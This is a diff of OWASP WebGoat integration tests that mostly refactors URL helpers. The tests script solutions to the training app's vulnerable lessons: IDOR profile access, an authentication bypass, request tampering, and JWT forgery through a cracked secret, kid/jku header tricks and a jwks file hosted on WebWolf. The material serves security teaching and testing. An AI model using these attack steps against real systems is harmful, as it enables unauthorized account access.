.get(url("HttpProxies/intercept-request?changeMe=Requests are tampered easily")) .get(webGoatUrlConfig.url("HttpProxies/intercept-request?changeMe=Requests are tampered easily"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
.path("lessonCompleted"), .path("lessonCompleted"),
CoreMatchers.is(true)); CoreMatchers.is(true));
checkResults("/HttpProxies/"); checkResults("HttpProxies");
} }
@Test @Test
@ -72,8 +86,8 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
params.put( params.put(
"question_3_solution", "question_3_solution",
"Solution 2: The systems security is compromised even if only one goal is harmed."); "Solution 2: The systems security is compromised even if only one goal is harmed.");
checkAssignment(url("cia/quiz"), params, true); checkAssignment(webGoatUrlConfig.url("cia/quiz"), params, true);
checkResults("/cia/"); checkResults("CIA");
} }
@Test @Test
@ -95,8 +109,8 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
Map<String, Object> params = new HashMap<>(); Map<String, Object> params = new HashMap<>();
params.clear(); params.clear();
params.put("payload", solution); params.put("payload", solution);
checkAssignment(url("VulnerableComponents/attack1"), params, true); checkAssignment(webGoatUrlConfig.url("VulnerableComponents/attack1"), params, true);
checkResults("/VulnerableComponents/"); checkResults("VulnerableComponents");
} }
} }
@ -107,8 +121,8 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
params.clear(); params.clear();
params.put("username", "CaptainJack"); params.put("username", "CaptainJack");
params.put("password", "BlackPearl"); params.put("password", "BlackPearl");
checkAssignment(url("InsecureLogin/task"), params, true); checkAssignment(webGoatUrlConfig.url("InsecureLogin/task"), params, true);
checkResults("/InsecureLogin/"); checkResults("InsecureLogin");
} }
@Test @Test
@ -117,8 +131,8 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
Map<String, Object> params = new HashMap<>(); Map<String, Object> params = new HashMap<>();
params.clear(); params.clear();
params.put("password", "ajnaeliclm^&&@kjn."); params.put("password", "ajnaeliclm^&&@kjn.");
checkAssignment(url("SecurePasswords/assignment"), params, true); checkAssignment(webGoatUrlConfig.url("SecurePasswords/assignment"), params, true);
checkResults("SecurePasswords/"); checkResults("SecurePasswords");
startLesson("AuthBypass"); startLesson("AuthBypass");
params.clear(); params.clear();
@ -127,24 +141,24 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
params.put("jsEnabled", "1"); params.put("jsEnabled", "1");
params.put("verifyMethod", "SEC_QUESTIONS"); params.put("verifyMethod", "SEC_QUESTIONS");
params.put("userId", "12309746"); params.put("userId", "12309746");
checkAssignment(url("auth-bypass/verify-account"), params, true); checkAssignment(webGoatUrlConfig.url("auth-bypass/verify-account"), params, true);
checkResults("/auth-bypass/"); checkResults("AuthBypass");
startLesson("HttpProxies"); startLesson("HttpProxies");
MatcherAssert.assertThat( MatcherAssert.assertThat(
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.header("x-request-intercepted", "true") .header("x-request-intercepted", "true")
.contentType(ContentType.JSON) .contentType(ContentType.JSON)
.get(url("HttpProxies/intercept-request?changeMe=Requests are tampered easily")) .get(webGoatUrlConfig.url("HttpProxies/intercept-request?changeMe=Requests are tampered easily"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
.path("lessonCompleted"), .path("lessonCompleted"),
CoreMatchers.is(true)); CoreMatchers.is(true));
checkResults("/HttpProxies/"); checkResults("HttpProxies");
} }
@Test @Test
@ -156,7 +170,7 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
params.put("param1", "42"); params.put("param1", "42");
params.put("param2", "24"); params.put("param2", "24");
String result = String result =
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
@ -164,7 +178,7 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
.header("webgoat-requested-by", "dom-xss-vuln") .header("webgoat-requested-by", "dom-xss-vuln")
.header("X-Requested-With", "XMLHttpRequest") .header("X-Requested-With", "XMLHttpRequest")
.formParams(params) .formParams(params)
.post(url("CrossSiteScripting/phone-home-xss")) .post(webGoatUrlConfig.url("CrossSiteScripting/phone-home-xss"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
@ -173,14 +187,14 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
params.clear(); params.clear();
params.put("successMessage", secretNumber); params.put("successMessage", secretNumber);
checkAssignment(url("ChromeDevTools/dummy"), params, true); checkAssignment(webGoatUrlConfig.url("ChromeDevTools/dummy"), params, true);
params.clear(); params.clear();
params.put("number", "24"); params.put("number", "24");
params.put("network_num", "24"); params.put("network_num", "24");
checkAssignment(url("ChromeDevTools/network"), params, true); checkAssignment(webGoatUrlConfig.url("ChromeDevTools/network"), params, true);
checkResults("/ChromeDevTools/"); checkResults("ChromeDevTools");
} }
@Test @Test
@ -193,8 +207,8 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
params.put("jsEnabled", "1"); params.put("jsEnabled", "1");
params.put("verifyMethod", "SEC_QUESTIONS"); params.put("verifyMethod", "SEC_QUESTIONS");
params.put("userId", "12309746"); params.put("userId", "12309746");
checkAssignment(url("auth-bypass/verify-account"), params, true); checkAssignment(webGoatUrlConfig.url("auth-bypass/verify-account"), params, true);
checkResults("/auth-bypass/"); checkResults("AuthBypass");
} }
@Test @Test
@ -204,7 +218,7 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
params.clear(); params.clear();
params.put("param1", "secr37Value"); params.put("param1", "secr37Value");
params.put("param2", "Main"); params.put("param2", "Main");
checkAssignment(url("lesson-template/sample-attack"), params, true); checkAssignment(webGoatUrlConfig.url("lesson-template/sample-attack"), params, true);
checkResults("/lesson-template/"); checkResults("LessonTemplate");
} }
} }

View File

@ -1,4 +1,8 @@
package org.owasp.webgoat; /*
* SPDX-FileCopyrightText: Copyright © 2020 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import static org.junit.jupiter.api.DynamicTest.dynamicTest; import static org.junit.jupiter.api.DynamicTest.dynamicTest;
@ -30,7 +34,7 @@ public class IDORIntegrationTest extends IntegrationTest {
@AfterEach @AfterEach
public void shutdown() { public void shutdown() {
checkResults("/IDOR"); checkResults("IDOR");
} }
private void loginIDOR() { private void loginIDOR() {
@ -39,18 +43,18 @@ public class IDORIntegrationTest extends IntegrationTest {
params.put("username", "tom"); params.put("username", "tom");
params.put("password", "cat"); params.put("password", "cat");
checkAssignment(url("IDOR/login"), params, true); checkAssignment(webGoatUrlConfig.url("IDOR/login"), params, true);
} }
private void profile() { private void profile() {
// View profile - assignment 3a // View profile - assignment 3a
MatcherAssert.assertThat( MatcherAssert.assertThat(
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url("IDOR/profile")) .get(webGoatUrlConfig.url("IDOR/profile"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
@ -60,20 +64,20 @@ public class IDORIntegrationTest extends IntegrationTest {
// Show difference - assignment 3b // Show difference - assignment 3b
Map<String, Object> params = new HashMap<>(); Map<String, Object> params = new HashMap<>();
params.put("attributes", "userId,role"); params.put("attributes", "userId,role");
checkAssignment(url("IDOR/diff-attributes"), params, true); checkAssignment(webGoatUrlConfig.url("IDOR/diff-attributes"), params, true);
// View profile another way - assignment 4 // View profile another way - assignment 4
params.clear(); params.clear();
params.put("url", "WebGoat/IDOR/profile/2342384"); params.put("url", "WebGoat/IDOR/profile/2342384");
checkAssignment(url("IDOR/profile/alt-path"), params, true); checkAssignment(webGoatUrlConfig.url("IDOR/profile/alt-path"), params, true);
// assignment 5a // assignment 5a
MatcherAssert.assertThat( MatcherAssert.assertThat(
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url("IDOR/profile/2342388")) .get(webGoatUrlConfig.url("IDOR/profile/2342388"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
@ -81,7 +85,7 @@ public class IDORIntegrationTest extends IntegrationTest {
CoreMatchers.is(true)); CoreMatchers.is(true));
// assignment 5b // assignment 5b
MatcherAssert.assertThat( MatcherAssert.assertThat(
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
@ -90,7 +94,7 @@ public class IDORIntegrationTest extends IntegrationTest {
.body( .body(
"{\"role\":\"1\", \"color\":\"red\", \"size\":\"large\", \"name\":\"Buffalo Bill\"," "{\"role\":\"1\", \"color\":\"red\", \"size\":\"large\", \"name\":\"Buffalo Bill\","
+ " \"userId\":\"2342388\"}") + " \"userId\":\"2342388\"}")
.put(url("IDOR/profile/2342388")) .put(webGoatUrlConfig.url("IDOR/profile/2342388"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()

View File

@ -1,63 +1,48 @@
package org.owasp.webgoat; /*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import static io.restassured.RestAssured.given; import static io.restassured.RestAssured.given;
import io.restassured.RestAssured; import io.restassured.RestAssured;
import io.restassured.filter.log.LogDetail;
import io.restassured.http.ContentType; import io.restassured.http.ContentType;
import java.util.Map; import java.util.Map;
import java.util.Objects;
import lombok.Getter; import lombok.Getter;
import org.hamcrest.CoreMatchers; import org.hamcrest.CoreMatchers;
import org.hamcrest.MatcherAssert; import org.hamcrest.MatcherAssert;
import org.junit.jupiter.api.AfterEach; import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach; import org.junit.jupiter.api.BeforeEach;
import org.owasp.webgoat.ServerUrlConfig;
import org.springframework.http.HttpStatus; import org.springframework.http.HttpStatus;
public abstract class IntegrationTest { public abstract class IntegrationTest {
private static String webGoatPort = protected final ServerUrlConfig webGoatUrlConfig = ServerUrlConfig.webGoat();
Objects.requireNonNull(System.getProperty("webgoatport", "8080")); protected final ServerUrlConfig webWolfUrlConfig = ServerUrlConfig.webWolf();
private static String webGoatContext =
Objects.requireNonNull(System.getProperty("webgoatcontext", "/WebGoat/"));
@Getter
private static String webWolfPort =
Objects.requireNonNull(System.getProperty("webwolfport", "9090"));
private static String webWolfContext =
Objects.requireNonNull(System.getProperty("webwolfcontext", "/WebWolf/"));
private static boolean useSSL = false;
private static String webgoatUrl =
(useSSL ? "https:" : "http:") + "//localhost:" + webGoatPort + webGoatContext;
private static String webWolfUrl =
(useSSL ? "https:" : "http:") + "//localhost:" + webWolfPort + webWolfContext;
@Getter private String webGoatCookie; @Getter private String webGoatCookie;
@Getter private String webWolfCookie; @Getter private String webWolfCookie;
@Getter private final String user = "webgoat"; @Getter private final String user = "webgoat";
protected String url(String url) {
return webgoatUrl + url;
}
protected String webWolfUrl(String url) {
return webWolfUrl + url;
}
protected String webWolfFileUrl(String fileName) {
return webWolfUrl("files") + "/" + getUser() + "/" + fileName;
}
@BeforeEach @BeforeEach
public void login() { public void login() {
login("webgoat");
}
protected void login(String user) {
String location = String location =
given() given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.formParam("username", user) .formParam("username", user)
.formParam("password", "password") .formParam("password", "password")
.post(url("login")) .post(webGoatUrlConfig.url("login"))
.then() .then()
.log()
.ifValidationFails(LogDetail.ALL) // Log the response details if validation fails
.cookie("JSESSIONID") .cookie("JSESSIONID")
.statusCode(302) .statusCode(302)
.extract() .extract()
@ -71,7 +56,7 @@ public abstract class IntegrationTest {
.formParam("password", "password") .formParam("password", "password")
.formParam("matchingPassword", "password") .formParam("matchingPassword", "password")
.formParam("agree", "agree") .formParam("agree", "agree")
.post(url("register.mvc")) .post(webGoatUrlConfig.url("register.mvc"))
.then() .then()
.cookie("JSESSIONID") .cookie("JSESSIONID")
.statusCode(302) .statusCode(302)
@ -84,7 +69,7 @@ public abstract class IntegrationTest {
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.formParam("username", user) .formParam("username", user)
.formParam("password", "password") .formParam("password", "password")
.post(url("login")) .post(webGoatUrlConfig.url("login"))
.then() .then()
.cookie("JSESSIONID") .cookie("JSESSIONID")
.statusCode(302) .statusCode(302)
@ -98,7 +83,7 @@ public abstract class IntegrationTest {
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.formParam("username", user) .formParam("username", user)
.formParam("password", "password") .formParam("password", "password")
.post(webWolfUrl("login")) .post(webWolfUrlConfig.url("login"))
.then() .then()
.statusCode(302) .statusCode(302)
.cookie("WEBWOLFSESSION") .cookie("WEBWOLFSESSION")
@ -108,7 +93,12 @@ public abstract class IntegrationTest {
@AfterEach @AfterEach
public void logout() { public void logout() {
RestAssured.given().when().relaxedHTTPSValidation().get(url("logout")).then().statusCode(200); RestAssured.given()
.when()
.relaxedHTTPSValidation()
.get(webGoatUrlConfig.url("logout"))
.then()
.statusCode(200);
} }
public void startLesson(String lessonName) { public void startLesson(String lessonName) {
@ -120,7 +110,7 @@ public abstract class IntegrationTest {
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url(lessonName + ".lesson.lesson")) .get(webGoatUrlConfig.url(lessonName + ".lesson.lesson"))
.then() .then()
.statusCode(200); .statusCode(200);
@ -129,7 +119,7 @@ public abstract class IntegrationTest {
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/restartlesson.mvc")) .get(webGoatUrlConfig.url("service/restartlesson.mvc/%s.lesson".formatted(lessonName)))
.then() .then()
.statusCode(200); .statusCode(200);
} }
@ -165,23 +155,18 @@ public abstract class IntegrationTest {
CoreMatchers.is(expectedResult)); CoreMatchers.is(expectedResult));
} }
// TODO is prefix useful? not every lesson endpoint needs to start with a certain prefix (they are public void checkResults(String lesson) {
// only required to be in the same package) var result =
public void checkResults(String prefix) {
checkResults();
MatcherAssert.assertThat(
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/lessonoverview.mvc")) .get(webGoatUrlConfig.url("service/lessonoverview.mvc/%s.lesson".formatted(lesson)))
.then() .andReturn();
.statusCode(200)
.extract() MatcherAssert.assertThat(
.jsonPath() result.then().statusCode(200).extract().jsonPath().getList("solved"),
.getList("assignment.path"), CoreMatchers.everyItem(CoreMatchers.is(true)));
CoreMatchers.everyItem(CoreMatchers.startsWith(prefix)));
} }
public void checkResults() { public void checkResults() {
@ -190,7 +175,7 @@ public abstract class IntegrationTest {
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/lessonoverview.mvc")) .get(webGoatUrlConfig.url("service/lessonoverview.mvc"))
.andReturn(); .andReturn();
MatcherAssert.assertThat( MatcherAssert.assertThat(
@ -236,7 +221,7 @@ public abstract class IntegrationTest {
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie()) .cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("file-server-location")) .get(webWolfUrlConfig.url("file-server-location"))
.then() .then()
.extract() .extract()
.response() .response()
@ -251,7 +236,7 @@ public abstract class IntegrationTest {
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url("server-directory")) .get(webGoatUrlConfig.url("server-directory"))
.then() .then()
.extract() .extract()
.response() .response()
@ -264,7 +249,7 @@ public abstract class IntegrationTest {
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie()) .cookie("WEBWOLFSESSION", getWebWolfCookie())
.delete(webWolfUrl("mail")) .delete(webWolfUrlConfig.url("mail"))
.then() .then()
.statusCode(HttpStatus.ACCEPTED.value()); .statusCode(HttpStatus.ACCEPTED.value());
} }

View File

@ -1,4 +1,8 @@
package org.owasp.webgoat; /*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import com.fasterxml.jackson.databind.JsonNode; import com.fasterxml.jackson.databind.JsonNode;
import com.fasterxml.jackson.databind.ObjectMapper; import com.fasterxml.jackson.databind.ObjectMapper;
@ -13,7 +17,6 @@ import io.jsonwebtoken.impl.TextCodec;
import io.restassured.RestAssured; import io.restassured.RestAssured;
import java.io.IOException; import java.io.IOException;
import java.nio.charset.Charset; import java.nio.charset.Charset;
import java.security.InvalidKeyException;
import java.security.KeyPair; import java.security.KeyPair;
import java.security.KeyPairGenerator; import java.security.KeyPairGenerator;
import java.security.NoSuchAlgorithmException; import java.security.NoSuchAlgorithmException;
@ -34,7 +37,7 @@ import org.owasp.webgoat.lessons.jwt.JWTSecretKeyEndpoint;
public class JWTLessonIntegrationTest extends IntegrationTest { public class JWTLessonIntegrationTest extends IntegrationTest {
@Test @Test
public void solveAssignment() throws IOException, InvalidKeyException, NoSuchAlgorithmException { public void solveAssignment() throws IOException, NoSuchAlgorithmException {
startLesson("JWT"); startLesson("JWT");
decodingToken(); decodingToken();
@ -51,11 +54,10 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
quiz(); quiz();
checkResults("/JWT/"); checkResults("JWT");
} }
private String generateToken(String key) { private String generateToken(String key) {
return Jwts.builder() return Jwts.builder()
.setIssuer("WebGoat Token Builder") .setIssuer("WebGoat Token Builder")
.setAudience("webgoat.org") .setAudience("webgoat.org")
@ -88,7 +90,7 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.formParam("jwt-encode-user", "user") .formParam("jwt-encode-user", "user")
.post(url("JWT/decode")) .post(webGoatUrlConfig.url("JWT/decode"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
@ -96,14 +98,14 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
CoreMatchers.is(true)); CoreMatchers.is(true));
} }
private void findPassword() throws IOException, NoSuchAlgorithmException, InvalidKeyException { private void findPassword() {
String accessToken = String accessToken =
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url("JWT/secret/gettoken")) .get(webGoatUrlConfig.url("JWT/secret/gettoken"))
.then() .then()
.extract() .extract()
.response() .response()
@ -117,7 +119,7 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.formParam("token", generateToken(secret)) .formParam("token", generateToken(secret))
.post(url("JWT/secret")) .post(webGoatUrlConfig.url("JWT/secret"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
@ -131,7 +133,7 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url("JWT/votings/login?user=Tom")) .get(webGoatUrlConfig.url("JWT/votings/login?user=Tom"))
.then() .then()
.extract() .extract()
.cookie("access_token"); .cookie("access_token");
@ -164,7 +166,7 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.cookie("access_token", replacedToken) .cookie("access_token", replacedToken)
.post(url("JWT/votings")) .post(webGoatUrlConfig.url("JWT/votings"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
@ -205,7 +207,7 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.header("Authorization", "Bearer " + replacedToken) .header("Authorization", "Bearer " + replacedToken)
.post(url("JWT/refresh/checkout")) .post(webGoatUrlConfig.url("JWT/refresh/checkout"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
@ -238,7 +240,7 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.post(url("JWT/kid/delete?token=" + token)) .post(webGoatUrlConfig.url("JWT/kid/delete?token=" + token))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
@ -256,7 +258,7 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie()) .cookie("WEBWOLFSESSION", getWebWolfCookie())
.multiPart("file", "jwks.json", jwks.toJson().getBytes()) .multiPart("file", "jwks.json", jwks.toJson().getBytes())
.post(webWolfUrl("fileupload")) .post(webWolfUrlConfig.url("fileupload"))
.then() .then()
.extract() .extract()
.response() .response()
@ -265,7 +267,9 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
Map<String, Object> header = new HashMap(); Map<String, Object> header = new HashMap();
header.put(Header.TYPE, Header.JWT_TYPE); header.put(Header.TYPE, Header.JWT_TYPE);
header.put(JwsHeader.JWK_SET_URL, webWolfFileUrl("jwks.json")); header.put(
JwsHeader.JWK_SET_URL, webWolfUrlConfig.url("files/%s/jwks.json".formatted(getUser())));
String token = String token =
Jwts.builder() Jwts.builder()
.setHeader(header) .setHeader(header)
@ -285,7 +289,7 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.post(url("JWT/jku/delete?token=" + token)) .post(webGoatUrlConfig.url("JWT/jku/delete?token=" + token))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
@ -298,6 +302,6 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
params.put("question_0_solution", "Solution 1"); params.put("question_0_solution", "Solution 1");
params.put("question_1_solution", "Solution 2"); params.put("question_1_solution", "Solution 2");
checkAssignment(url("JWT/quiz"), params, true); checkAssignment(webGoatUrlConfig.url("JWT/quiz"), params, true);
} }
} }

View File

@ -1,4 +1,8 @@
package org.owasp.webgoat; /*
* SPDX-FileCopyrightText: Copyright © 2022 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import io.restassured.RestAssured; import io.restassured.RestAssured;
import io.restassured.http.ContentType; import io.restassured.http.ContentType;
@ -17,14 +21,14 @@ public class LabelAndHintIntegrationTest extends IntegrationTest {
@Test @Test
public void testSingleLabel() { public void testSingleLabel() {
Assertions.assertTrue(true); Assertions.assertTrue(true);
JsonPath jsonPath = JsonPath jsonPath =
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.contentType(ContentType.JSON) .contentType(ContentType.JSON)
.header("Accept-Language", "en") .header("Accept-Language", "en")
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/labels.mvc")) .get(webGoatUrlConfig.url("service/labels.mvc"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
@ -35,14 +39,14 @@ public class LabelAndHintIntegrationTest extends IntegrationTest {
jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "http-basics.close" + ESCAPE_JSON_PATH_CHAR)); jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "http-basics.close" + ESCAPE_JSON_PATH_CHAR));
// check if lang parameter overrules Accept-Language parameter // check if lang parameter overrules Accept-Language parameter
jsonPath = jsonPath =
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.contentType(ContentType.JSON) .contentType(ContentType.JSON)
.header("Accept-Language", "en") .header("Accept-Language", "en")
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/labels.mvc?lang=nl")) .get(webGoatUrlConfig.url("service/labels.mvc?lang=nl"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
@ -51,14 +55,14 @@ public class LabelAndHintIntegrationTest extends IntegrationTest {
"Gebruikersnaam", "Gebruikersnaam",
jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR)); jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
jsonPath = jsonPath =
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.contentType(ContentType.JSON) .contentType(ContentType.JSON)
.header("Accept-Language", "en") .header("Accept-Language", "en")
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/labels.mvc?lang=de")) .get(webGoatUrlConfig.url("service/labels.mvc?lang=de"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
@ -68,14 +72,14 @@ public class LabelAndHintIntegrationTest extends IntegrationTest {
jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR)); jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
// check if invalid language returns english // check if invalid language returns english
jsonPath = jsonPath =
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.contentType(ContentType.JSON) .contentType(ContentType.JSON)
.header("Accept-Language", "nl") .header("Accept-Language", "nl")
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/labels.mvc?lang=xx")) .get(webGoatUrlConfig.url("service/labels.mvc?lang=xx"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
@ -84,14 +88,14 @@ public class LabelAndHintIntegrationTest extends IntegrationTest {
"Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR)); "Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
// check if invalid language returns english // check if invalid language returns english
jsonPath = jsonPath =
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.contentType(ContentType.JSON) .contentType(ContentType.JSON)
.header("Accept-Language", "xx_YY") .header("Accept-Language", "xx_YY")
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/labels.mvc")) .get(webGoatUrlConfig.url("service/labels.mvc"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
@ -151,7 +155,6 @@ public class LabelAndHintIntegrationTest extends IntegrationTest {
checkLang(propsDefault, "nl"); checkLang(propsDefault, "nl");
checkLang(propsDefault, "de"); checkLang(propsDefault, "de");
checkLang(propsDefault, "fr"); checkLang(propsDefault, "fr");
checkLang(propsDefault, "ru");
} }
private Properties getProperties(String lang) { private Properties getProperties(String lang) {
@ -197,14 +200,14 @@ public class LabelAndHintIntegrationTest extends IntegrationTest {
} }
private JsonPath getLabels(String lang) { private JsonPath getLabels(String lang) {
return RestAssured.given() return RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.contentType(ContentType.JSON) .contentType(ContentType.JSON)
.header("Accept-Language", lang) .header("Accept-Language", lang)
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
// .log().headers() // .log().headers()
.get(url("service/labels.mvc")) .get(webGoatUrlConfig.url("service/labels.mvc"))
.then() .then()
// .log().all() // .log().all()
.statusCode(200) .statusCode(200)
@ -213,13 +216,13 @@ public class LabelAndHintIntegrationTest extends IntegrationTest {
} }
private List<String> getHints() { private List<String> getHints() {
JsonPath jsonPath = JsonPath jsonPath =
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.contentType(ContentType.JSON) .contentType(ContentType.JSON)
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/hint.mvc")) .get(webGoatUrlConfig.url("service/hint.mvc"))
.then() .then()
// .log().all() // .log().all()
.statusCode(200) .statusCode(200)

View File

@ -1,4 +1,8 @@
package org.owasp.webgoat; /*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import static org.junit.jupiter.api.DynamicTest.dynamicTest; import static org.junit.jupiter.api.DynamicTest.dynamicTest;
@ -31,12 +35,12 @@ public class PasswordResetLessonIntegrationTest extends IntegrationTest {
} }
public void assignment2() { public void assignment2() {
checkAssignment( checkAssignment(
